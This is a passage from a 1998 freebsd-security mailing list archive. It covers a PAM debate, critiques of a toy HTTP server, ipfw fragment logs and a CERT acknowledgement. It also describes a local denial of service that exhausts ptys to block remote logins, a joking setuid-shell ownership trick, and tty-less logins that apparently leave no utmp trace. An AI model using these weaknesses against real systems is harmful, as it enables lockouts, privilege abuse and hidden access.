install. Something like the way we do kerberos would be nice for those who would want it and let those like me who have problems with it avoid it. Regards, --Keith Stevenson-- -- Keith Stevenson System Programmer - Data Center Services - University of Louisville k.stevenson@louisville.edu PGP key fingerprint = 4B 29 A8 95 A8 82 EA A2 29 CE 68 DE FC EE B6 A0 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 14:34:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA20320 for freebsd-security-outgoing; Wed, 18 Nov 1998 14:34:53 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from huset.math.ntnu.no (huset.math.ntnu.no [129.241.211.212]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id OAA20304 for ; Wed, 18 Nov 1998 14:34:43 -0800 (PST) (envelope-from perhov@stud.math.ntnu.no) Received: (qmail 14867 invoked by uid 29119); 18 Nov 1998 22:34:07 -0000 Date: Wed, 18 Nov 1998 23:34:07 +0100 (MET) From: Per Kristian Hove X-Sender: perhov@huset.math.ntnu.no To: freebsd-security@FreeBSD.ORG Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 18 Nov 1998, Marc Slemko wrote: > pkhttpd may be fine if you are only interested in something that will > often appear close enough to a web server so clients can often understand > it for a very restricted set of content. It is not fully functional, but "close enough for all practical purposes" (said the physicist:-). (Well, I agree that even that is argueable). > It doesn't read the full request headers, it doesn't output error messages > properly (outputs two sets of headers for a 404), it prints random memory > locations for unknown MIME types, it doesn't support HEAD properly > (doesn't terminate the headers with a blank line), etc. You're right. It isn't even a "lightweight server", just a small "web server wannabee" program, and it's not fully compliant with the HTTP specification. It was intended for small embedded setups, where you usually dont have evil users on the system, and certainly not use for heavy cgi stuff - most often you'll only need to show a few html pages and some very simple cgi to configure the thingee. That's why I appreciate your feedback very much. If it is improved, it might be useful other places too. > > As for its features: > > - It handles 'GET' and 'HEAD' requests and does cgi. > > No, it doesn't. It doesn't do CGI (CGI is an interface that is defined, > it isn't just running whatever program you want), and it doesn't support > even HTTP/1.0. You will face a very real problem with lost responses if > anyone ever sends headers in multiple packets, which some systems do a > lot. Again, you're right. If someone could point me to the HTTP / CGI specs, i'd be grateful. It does, though, work for all the purposes i've needed it for so far. But that's not a lot. > > - When run as root, it runs in a chroot()'ed environment. It runs > > cgi programs with the user-id of the owner of the program (and never as > > root). > > ie. on a system where someone can give away ownership of a files, this > lets them execute programs as an arbitrary UID. I don't intend to use it on e.g. HP-sUX, and never will. That 'feature' (giving away files) is so brain damaged that I do not consider it to be a problem with my server as much as a problem with the system. But you _do_ have a point, perhaps one should be able to determine upon compile whether to run cgi (as user) or not run cgi at all. Running cgi as a special user might suffice if you dont have users on your system, but it's not a pretty sight if you let your users run cgi scripts as this user. To HP-sUX's defence, it must be said that it *does* remove any setuid bits when you give away files. Not every system has done that in the past. (Hey! I have a copy of /sbin/sh on my account that i made setuid myself. I want to give it to somebody. Hm... what about root?) Any constructive ideas, perhaps? (I'll fix the HEAD so it will terminate with a blank line.) -- per kristian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 15:08:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA25770 for freebsd-security-outgoing; Wed, 18 Nov 1998 15:08:54 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA25765 for ; Wed, 18 Nov 1998 15:08:52 -0800 (PST) (envelope-from archie@whistle.com) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id PAA07539; Wed, 18 Nov 1998 15:07:28 -0800 (PST) Received: from bubba.whistle.com( 207.76.205.7) by whistle.com via smap (V2.0) id xma007535; Wed, 18 Nov 98 15:07:15 -0800 Received: (from archie@localhost) by bubba.whistle.com (8.8.7/8.6.12) id PAA16728; Wed, 18 Nov 1998 15:07:14 -0800 (PST) From: Archie Cobbs Message-Id: <199811182307.PAA16728@bubba.whistle.com> Subject: Re: What can it be? In-Reply-To: <199811161220.PAA14992@enterprise.synchroline.ru> from "Alexander B. Povolotsky" at "Nov 16, 98 03:20:05 pm" To: tarkhil@synchroline.ru Date: Wed, 18 Nov 1998 15:07:14 -0800 (PST) Cc: security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Alexander B. Povolotsky writes: > My firewall logs lots of messages like these. Don't anyone know what can it > be? Kind of attack? > > Nov 16 15:09:47 satellite /kernel: ipfw: 60000 Deny TCP 207.90.134.191 > 195.16.101.2 in via fxp0 Fragment = 123 Perhaps you've got earlier rules that block port numbers and/or TCP flags. These rules won't match fragments. Then the fragments hit the later (logging) rule.. ?? If so you need to allow (non zero offset) fragments. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 16:07:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA06469 for freebsd-security-outgoing; Wed, 18 Nov 1998 16:07:15 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fallout.campusview.indiana.edu (fallout.campusview.indiana.edu [149.159.1.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA06401 for ; Wed, 18 Nov 1998 16:07:07 -0800 (PST) (envelope-from jfieber@fallout.campusview.indiana.edu) Received: from localhost (jfieber@localhost) by fallout.campusview.indiana.edu (8.9.1/8.9.1) with ESMTP id TAA16765; Wed, 18 Nov 1998 19:06:30 -0500 (EST) Date: Wed, 18 Nov 1998 19:06:30 -0500 (EST) From: John Fieber To: Keith Stevenson cc: freebsd-security@FreeBSD.ORG Subject: Re: PAM on FreeBSD (was Would this make FreeBSD more secure?) In-Reply-To: <19981118171522.A2654@homer.louisville.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 18 Nov 1998, Keith Stevenson wrote: > On Thu, Nov 19, 1998 at 12:09:14AM +0300, Vadim Kolontsov wrote: > > > > I wonder how many people would like to see PAM support in FreeBSD?.. > > ABSOLUTELY NOT! > > I suffered through PAM on a RedHat Linux box. The combination of flaky > Linuxisms, PAM, and the SYSV-style init drove me to FreeBSD. I've been very > VERY happy ever since. Please don't visit that nightmare on us here. Too late. It is already being comitted into current. Please, also take a moment to reflect on the distinction between a bad idea and a bad implementation. I haven't looked at what has been brought in yet, but judging from comments of the person doing the work, I have confidence that it won't be junk. -john To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 22:36:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA17572 for freebsd-security-outgoing; Wed, 18 Nov 1998 22:36:47 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.65]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA17562 for ; Wed, 18 Nov 1998 22:36:39 -0800 (PST) (envelope-from mark@grondar.za) Received: from greenpeace.grondar.za (IDENT:iZigD4+UvNY4mR8Q0jSivDfROSqq4Sxu@greenpeace.grondar.za [196.7.18.132]) by gratis.grondar.za (8.9.1/8.9.1) with ESMTP id IAA19069; Thu, 19 Nov 1998 08:36:08 +0200 (SAST) (envelope-from mark@grondar.za) Received: from grondar.za (IDENT:vhxPuX5H0BCi+toS1W58R1qWht1cIA8H@localhost [127.0.0.1]) by greenpeace.grondar.za (8.9.1/8.9.1) with ESMTP id IAA48857; Thu, 19 Nov 1998 08:36:07 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199811190636.IAA48857@greenpeace.grondar.za> To: Keith Stevenson cc: freebsd-security@FreeBSD.ORG Subject: Re: PAM on FreeBSD (was Would this make FreeBSD more secure?) In-Reply-To: Your message of " Wed, 18 Nov 1998 17:15:22 EST." <19981118171522.A2654@homer.louisville.edu> References: <199811172058.VAA02065@ocean.campus.luth.se> <86hfvwixby.fsf@detlev.UUCP> <19981119000914.A11045@tversu.ru> <19981118171522.A2654@homer.louisville.edu> Date: Thu, 19 Nov 1998 08:36:05 +0200 From: Mark Murray Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Keith Stevenson wrote: > On Thu, Nov 19, 1998 at 12:09:14AM +0300, Vadim Kolontsov wrote: > > > > I wonder how many people would like to see PAM support in FreeBSD?.. > > ABSOLUTELY NOT! Er, too late. > I suffered through PAM on a RedHat Linux box. The combination of > flaky Linuxisms, PAM, and the SYSV-style init drove me to FreeBSD. > I've been very VERY happy ever since. Please don't visit that > nightmare on us here. At least don't integrate it with the base > install. Something like the way we do kerberos would be nice for > those who would want it and let those like me who have problems with > it avoid it. John Polstra has done a pretty good job of cleaning it up. There is a lot of new code in there, and jdp is not daft. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 23:22:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA21943 for freebsd-security-outgoing; Wed, 18 Nov 1998 23:22:07 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from burka.rdy.com (burka.rdy.com [205.149.163.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA21938 for ; Wed, 18 Nov 1998 23:22:06 -0800 (PST) (envelope-from dima@burka.rdy.com) Received: (from dima@localhost) by burka.rdy.com (8.9.1/RDY&DVV) id XAA08602; Wed, 18 Nov 1998 23:20:58 -0800 (PST) Message-Id: <199811190720.XAA08602@burka.rdy.com> Subject: Re: PAM on FreeBSD (was Would this make FreeBSD more secure?) In-Reply-To: <199811190636.IAA48857@greenpeace.grondar.za> from Mark Murray at "Nov 19, 1998 8:36: 5 am" To: mark@grondar.za (Mark Murray) Date: Wed, 18 Nov 1998 23:20:58 -0800 (PST) Cc: k.stevenson@louisville.edu, freebsd-security@FreeBSD.ORG X-Class: Fast Organization: HackerDome Reply-To: dima@best.net From: dima@best.net (Dima Ruban) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mark Murray writes: > Keith Stevenson wrote: > > On Thu, Nov 19, 1998 at 12:09:14AM +0300, Vadim Kolontsov wrote: > > > > > > I wonder how many people would like to see PAM support in FreeBSD?.. > > > > ABSOLUTELY NOT! > > Er, too late. I wonder whether it's too late to change /usr/include/security to something else like /usr/include/pam IMHO, PAM doesn't have anything to do with security. -- dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 01:12:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA05050 for freebsd-security-outgoing; Thu, 19 Nov 1998 01:12:26 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA05045 for ; Thu, 19 Nov 1998 01:12:25 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost.cdrom.com [127.0.0.1]) by zippy.cdrom.com (8.9.1a/8.9.1) with ESMTP id BAA05399; Thu, 19 Nov 1998 01:12:29 -0800 (PST) To: Keith Stevenson cc: freebsd-security@FreeBSD.ORG Subject: Re: PAM on FreeBSD (was Would this make FreeBSD more secure?) In-reply-to: Your message of "Wed, 18 Nov 1998 17:15:22 EST." <19981118171522.A2654@homer.louisville.edu> Date: Thu, 19 Nov 1998 01:12:29 -0800 Message-ID: <5395.911466749@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I suffered through PAM on a RedHat Linux box. The combination of flaky > Linuxisms, PAM, and the SYSV-style init drove me to FreeBSD. I've been very Please don't confuse a bad implementation with a fundamentally bad design. We've taken none of the modules from Linux (which even many linux folks will agree suck) and we certainly haven't changed init. All we've done is provide a much, much easier mechanism for adding a new authentication type to a wide range of tools without having to go patch each and every tool separately, as we do now. That's just a kludge, and the fundamental idea of making an "authentication chain" which works generically for any tool which requires flexible authentication is a fundamentally good idea. Just because somebody tripped over their dick and went face-first to the pavement on an earlier implementation of a useful and somewhat obvious idea like PAM by no means discredits the entire concept. I also trust John Polstra's work a lot more than any 10 people I could name. If somebody paid him to do this work, he did it right. How about giving it a chance before passing any early verdicts? - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 01:15:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA05198 for freebsd-security-outgoing; Thu, 19 Nov 1998 01:15:16 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA05193 for ; Thu, 19 Nov 1998 01:15:15 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost.cdrom.com [127.0.0.1]) by zippy.cdrom.com (8.9.1a/8.9.1) with ESMTP id BAA05412; Thu, 19 Nov 1998 01:13:51 -0800 (PST) To: dima@best.net cc: mark@grondar.za (Mark Murray), k.stevenson@louisville.edu, freebsd-security@FreeBSD.ORG Subject: Re: PAM on FreeBSD (was Would this make FreeBSD more secure?) In-reply-to: Your message of "Wed, 18 Nov 1998 23:20:58 PST." <199811190720.XAA08602@burka.rdy.com> Date: Thu, 19 Nov 1998 01:13:51 -0800 Message-ID: <5409.911466831@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I wonder whether it's too late to change /usr/include/security to > something else like /usr/include/pam See the commit message. John doesn't like it either, but there are good reasons for it nonetheless. Good enough for him to exercise an option he himself found icky, anyway. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 09:55:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA28472 for freebsd-security-outgoing; Thu, 19 Nov 1998 09:55:20 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from burka.rdy.com (burka.rdy.com [205.149.163.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA28465 for ; Thu, 19 Nov 1998 09:55:18 -0800 (PST) (envelope-from dima@burka.rdy.com) Received: (from dima@localhost) by burka.rdy.com (8.9.1/RDY&DVV) id JAA11958 for freebsd-security@FreeBSD.ORG; Thu, 19 Nov 1998 09:54:50 -0800 (PST) Message-Id: <199811191754.JAA11958@burka.rdy.com> Subject: Re: PAM on FreeBSD (was Would this make FreeBSD more secure?) In-Reply-To: <5409.911466831@zippy.cdrom.com> from "Jordan K. Hubbard" at "Nov 19, 1998 1:13:51 am" To: freebsd-security@FreeBSD.ORG Date: Thu, 19 Nov 1998 09:54:50 -0800 (PST) X-Class: Fast Organization: HackerDome Reply-To: dima@best.net From: dima@best.net (Dima Ruban) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jordan K. Hubbard writes: > > I wonder whether it's too late to change /usr/include/security to > > something else like /usr/include/pam > > See the commit message. John doesn't like it either, but there > are good reasons for it nonetheless. Good enough for him to > exercise an option he himself found icky, anyway. Right. His argument was that it would be not the best idea in the world to hack each and every PAM module that we adopt. To me - I'd rather ifdef all this stuff than have /usr/include/security dedicated to PAM. I don't think we should repeat mistakes on some other operating system. Especially since you've mentioned that we're not taking modules from Linux (or at least not so many of them). > > - Jordan > -- dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 13:39:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA22123 for freebsd-security-outgoing; Thu, 19 Nov 1998 13:39:24 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from po1.cert.org (po1.cert.org [192.88.209.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA22110 for ; Thu, 19 Nov 1998 13:39:21 -0800 (PST) (envelope-from rrg@cert.org) Received: from smtp.cert.org (smtp.cert.org [192.88.210.47]) by po1.cert.org (8.8.8/8.8.8) with ESMTP id QAA14302; Thu, 19 Nov 1998 16:37:13 -0500 (EST) Received: from unix1.cert.org (+Vec3ePZOW9uer/1wTxGmzMg79fFh6rO@unix1.cert.org [192.88.210.35]) by smtp.cert.org (8.8.8/8.8.8) with ESMTP id QAA15820; Thu, 19 Nov 1998 16:37:03 -0500 (EST) Received: by unix1.cert.org (8.9.1/8.9.1) id QAA20108; Thu, 19 Nov 1998 16:37:02 -0500 (EST) Message-Id: <199811192137.QAA20108@unix1.cert.org> From: "CERT(R) Coordination Center" Reply-To: "CERT(R) Coordination Center" Date: Thu, 19 Nov 98 16:27:34 EST To: "David G. Andersen" Cc: security@FreeBSD.ORG, danderse@cs.utah.edu, aleph1@dfw.net, "CERT(R) Coordination Center" , wuebben@kde.org Subject: Re: KDE kppp and klock have serious security flaws [VU#20031] References: <00a101be11cd$b00a8580$0100a8c0@entropy> <13906.59901.91263.217800@torrey.cs.utah.edu> In-Reply-To: <13906.59901.91263.217800@torrey.cs.utah.edu> from David G Andersen on Wed, 18 Nov 1998 09:31:35 -0700 (MST) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- Hello David: Thank you for your vulnerability report concerning the serious security flaws in KDE kppp and klock. We have assigned an internal reference number to this vulnerability and it's included in the subject line above. This unique, random number will help us track correspondence and coordinate our activities. We would appreciate your including it in the subject line of future correspondence about this vulnerability. We are reviewing the information you have provided and a member of the CERT/CC technical staff will contact you if we have any additional questions or require any further information. Rhonda Green - -------------------------------------------------------------------------- CERT Coordination Center CERT* hotline: +1 412 268-7090 Software Engineering Institute Fax: +1 412 268-6989 Carnegie Mellon University Web: www.cert.org Pittsburgh, PA 15213 FTP: info.cert.org/pub/ *Reg. U.S. Patent & Trademark Off. - -------------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNlSPeXVP+x0t4w7BAQGfEgP/a2IU8YwJYN7zprovfyqs5RhIuSRTjsYG LLRVJ96hnGSF07frir6sYt9cOP6DZEgmMU2Skx7jbLPYmZFl/YQ7dPpltoXLxOHN E421qxxu0aR68XMoad77MIVPYPWCn6M3UHanlqj8ZoRhpBRRJ/BbadPaQ6uNX7+7 oxYxbrP4N0E= =GCTq -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 14:07:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA25898 for freebsd-security-outgoing; Thu, 19 Nov 1998 14:07:26 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from smtp02.wxs.nl (smtp02.wxs.nl [195.121.6.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA25890 for ; Thu, 19 Nov 1998 14:07:24 -0800 (PST) (envelope-from asmodai@wxs.nl) Received: from chronias.ninth-circle.org ([195.121.58.255]) by smtp02.wxs.nl (Netscape Messaging Server 3.6) with ESMTP id AAA56DD; Thu, 19 Nov 1998 23:06:56 +0100 Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Thu, 19 Nov 1998 23:11:35 +0100 (CET) Organization: Ninth Circle Enterprises From: Jeroen Ruigrok/Asmodai To: Per Kristian Hove Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 18-Nov-98 Per Kristian Hove wrote: > Again, you're right. If someone could point me to the HTTP / CGI specs, > i'd be grateful. It does, though, work for all the purposes i've needed it > for so far. But that's not a lot. Mayhaps www.w3c.org has them? --- Jeroen Ruigrok van der Werven/Asmodai asmodai(at)wxs.nl | Cum angelis et pueris, Junior Network/Security Specialist | fideles inveniamur *BSD & picoBSD: The Power to Serve... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 15:33:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA07786 for freebsd-security-outgoing; Thu, 19 Nov 1998 15:33:23 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from matrix.42.org (matrix.42.org [194.246.250.200]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA07781 for ; Thu, 19 Nov 1998 15:33:16 -0800 (PST) (envelope-from sec@42.org) Received: (from sec@localhost) by matrix.42.org (8.8.8/8.8.5) id AAA05300 for freebsd-security@freebsd.org (sender ); Fri, 20 Nov 1998 00:32:46 +0100 (CET) Date: Fri, 20 Nov 1998 00:32:45 +0100 From: Stefan `Sec` Zehl To: freebsd-security@FreeBSD.ORG Subject: no more pty's / lockout Message-ID: <19981120003245.A5204@matrix.42.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.94.10i I-love-doing-this: really Accept-Languages: de, en X-URL: http://sec.42.org/ Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I just relized, that any user on a system can disable remote logins completely by allocating all available tty's (with xterm p.ex.) Since quite some boxes are remotely adminned, i think this is worth a fix. What about adding a fallback-no-tty-mode to telnetd ? CU, Sec -- Wunder von Microsoft I: Ich habe mal eine Testmaschine nach einer Neuinstallation rebootet. Sie blieb aber mit "No processors found" stehen. -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 18:51:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA00250 for freebsd-security-outgoing; Thu, 19 Nov 1998 18:51:18 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from trooper.velocet.ca (host-034.canadiantire.ca [209.146.201.34]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA00232 for ; Thu, 19 Nov 1998 18:51:16 -0800 (PST) (envelope-from dgilbert@trooper.velocet.ca) Received: (from dgilbert@localhost) by trooper.velocet.ca (8.8.7/8.8.7) id VAA16224; Thu, 19 Nov 1998 21:50:32 -0500 (EST) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13908.55544.854706.2736@trooper.velocet.ca> Date: Thu, 19 Nov 1998 21:50:32 -0500 (EST) To: Stefan `Sec` Zehl Cc: freebsd-security@FreeBSD.ORG Subject: no more pty's / lockout In-Reply-To: <19981120003245.A5204@matrix.42.org> References: <19981120003245.A5204@matrix.42.org> X-Mailer: VM 6.62 under Emacs 19.34.2 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >>>>> "Stefan" == Stefan `Sec` Zehl writes: Stefan> Hi, I just relized, that any user on a system can disable Stefan> remote logins completely by allocating all available tty's Stefan> (with xterm p.ex.) Stefan> Since quite some boxes are remotely adminned, i think this is Stefan> worth a fix. Stefan> What about adding a fallback-no-tty-mode to telnetd ? ssh (and I believe rsh... but I don't use it) will allow a login without an available tty as follows: ssh -l root "bash -i" Dave. -- ============================================================================ |David Gilbert, Velocet Communications. | Two things can only be | |Mail: dgilbert@velocet.net | equal if and only if they | |http://www.velocet.net/~dgilbert | are precisely opposite. | =========================================================GLO================ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 20:07:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA06049 for freebsd-security-outgoing; Thu, 19 Nov 1998 20:07:29 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from adelphi.physics.adelaide.edu.au (adelphi.physics.adelaide.edu.au [129.127.36.247]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA06042 for ; Thu, 19 Nov 1998 20:07:27 -0800 (PST) (envelope-from kkennawa@physics.adelaide.edu.au) Received: from bragg (bragg [129.127.36.34]) by adelphi.physics.adelaide.edu.au (8.8.8/8.8.8/UofA-1.5) with SMTP id OAA24659; Fri, 20 Nov 1998 14:36:56 +1030 (CST) Received: from localhost by bragg; (5.65/1.1.8.2/05Aug95-0227PM) id AA10145; Fri, 20 Nov 1998 14:37:19 +1030 Date: Fri, 20 Nov 1998 14:37:19 +1030 (CST) From: Kris Kennaway X-Sender: kkennawa@bragg To: David Gilbert Cc: Stefan `Sec` Zehl , freebsd-security@FreeBSD.ORG Subject: Re: no more pty's / lockout In-Reply-To: <13908.55544.854706.2736@trooper.velocet.ca> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 19 Nov 1998, David Gilbert wrote: > ssh (and I believe rsh... but I don't use it) will allow a > login without an available tty as follows: > > ssh -l root "bash -i" or csh -i, etc. The rsh version also won't leave traces in your utmp (at least, they don't on other systems), never tried it with ssh but I'd expect something similar. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 20:33:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA09661 for freebsd-security-outgoing; Thu, 19 Nov 1998 20:33:27 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from aniwa.sky (aniwa.actrix.gen.nz [203.96.56.186]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA09651 for ; Thu, 19 Nov 1998 20:33:22 -0800 (PST) (envelope-from andrew@squiz.co.nz) Received: from localhost (andrew@localhost) by aniwa.sky (8.8.8/8.8.7) with ESMTP id RAA01683; Fri, 20 Nov 1998 17:32:30 +1300 (NZDT) (envelope-from andrew@squiz.co.nz) Date: Fri, 20 Nov 1998 17:32:30 +1300 (NZDT) From: Andrew McNaughton X-Sender: andrew@aniwa.sky Reply-To: andrew@squiz.co.nz To: Jeroen Ruigrok/Asmodai cc: Per Kristian Hove , freebsd-security@FreeBSD.ORG Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 19 Nov 1998, Jeroen Ruigrok/Asmodai wrote: > Date: Thu, 19 Nov 1998 23:11:35 +0100 (CET) > From: Jeroen Ruigrok/Asmodai > To: Per Kristian Hove > Cc: freebsd-security@FreeBSD.ORG > Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) > > On 18-Nov-98 Per Kristian Hove wrote: > > Again, you're right. If someone could point me to the HTTP / CGI specs, > > i'd be grateful. It does, though, work for all the purposes i've needed it > > for so far. But that's not a lot. > > Mayhaps www.w3c.org has them? Probably, but I'd reccommend going to the RFC's. rfc1945 Hypertext Transfer Protocol -- HTTP/1.0 rfc2068 Hypertext Transfer Protocol -- HTTP/1.1 Andrew McNaughton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 21:01:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA13310 for freebsd-security-outgoing; Thu, 19 Nov 1998 21:01:09 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from aniwa.sky (aniwa.actrix.gen.nz [203.96.56.186]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA13304 for ; Thu, 19 Nov 1998 21:01:05 -0800 (PST) (envelope-from andrew@squiz.co.nz) Received: from localhost (andrew@localhost) by aniwa.sky (8.8.8/8.8.7) with 